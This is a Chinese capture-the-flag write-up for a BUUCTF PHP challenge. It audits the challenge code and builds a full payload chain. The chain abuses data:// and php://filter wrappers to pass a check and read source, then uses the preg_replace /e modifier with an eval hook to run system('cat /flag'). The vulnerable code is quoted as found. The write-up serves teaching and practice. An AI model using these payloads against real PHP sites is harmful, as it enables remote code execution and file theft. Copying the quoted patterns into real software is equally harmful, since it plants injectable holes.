web第39题
[BJDCTF2020]ZJCTF,不过如此
打开靶场
有点眼熟
参考我做的另一道题:buuctf初学者学习记录–[ZJCTF 2019]NiZhuanSiWei
代码审计:
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
第一步:首先接收2个get参数text和file
然后判断是否存在text和读取text的内容判断是否为I have a dream,也就是说我们需要像text中写入I have a dream,使用php伪协议data://text/plain协议,参考:php伪协议
text参数内容:?text=data://text//plain;base64,SSBoYXZlIGEgZHJlYW0=
其中最后的参数为I have a dream的base64加密后的内容
第二步:使用正则匹配判断file参数是否存在flag字符,然后使用include包含文件,提示next.php,说明此时不能直接读取flag.php。需要先查看next.php的内容,使用php://filter协议,参考上面的链接
构造file参数:file=php://filter/read=convert.base64-encode/resource=next.php
两个参数的payload:
?text=data://text//plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php
得到next.php文件的base64编码后的数据,解码:
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
关键在于return preg_replace(‘/(‘ . $ re . ‘)/ei‘,‘strtolower("\1")‘,$str);
会造成代码执行
具体分析参考: 深入研究 preg_replace /e 模式下的代码漏洞问题
最后又看到get传入cmd参数,可以对其进行命令执行
引用一下大佬的解析:
参考:[BJDCTF2020]ZJCTF,不过如此
preg_replace()函数最后以/e结尾时,会存在命令执行漏洞,也就是说如果有/e,并且匹配到符合正则表达式的字符串,那么第二个参数的字符串将被当做代码来执行
正则表达式的\S:匹配所有非空白字符; .号:匹配除\n外的任意字符;
*号:匹配前面的字符0次或者多次
+号:匹配前面的字符1次或者多次(如果要在url里输入+号,必须要对其进行编码,+号编码为:%2b)php里,如果 双引号中有变量,那么php解释器会将其替换为变量解释后的结果,但单引号中的变量不会被处理(不过双引号中的函数不会被执行)
这里的话第二个参数为strtolower("\1"),实际上也就是strtolower("\1"),而\1在正则表达式中有自己的意思,也就是指定第一个匹配项,简单来说就是取出正则表达式匹配后子匹配表达式的第一项
接着继续进行审计,来到foreach()函数,这个函数就是把我们传进去的参数变为正则,并且参数值变为字符串
本地测试:
所以在preg_replace函数中按照一个参数对第三个参数进行匹配后,用第二个参数进行替换后会对匹配到的第一个匹配项加上双引号,从而导致命令执行
构造payload:
?\S*={${getFlag()}}&cmd=system('cat /flag');
这里解释下用\S*而不是用.的原因: 因为在php中,对于传入非法的$_GET参数名,会将其转换为下划线,导致正则匹配失效
所以我们只能使用\S或者\S%2b来进行构造payload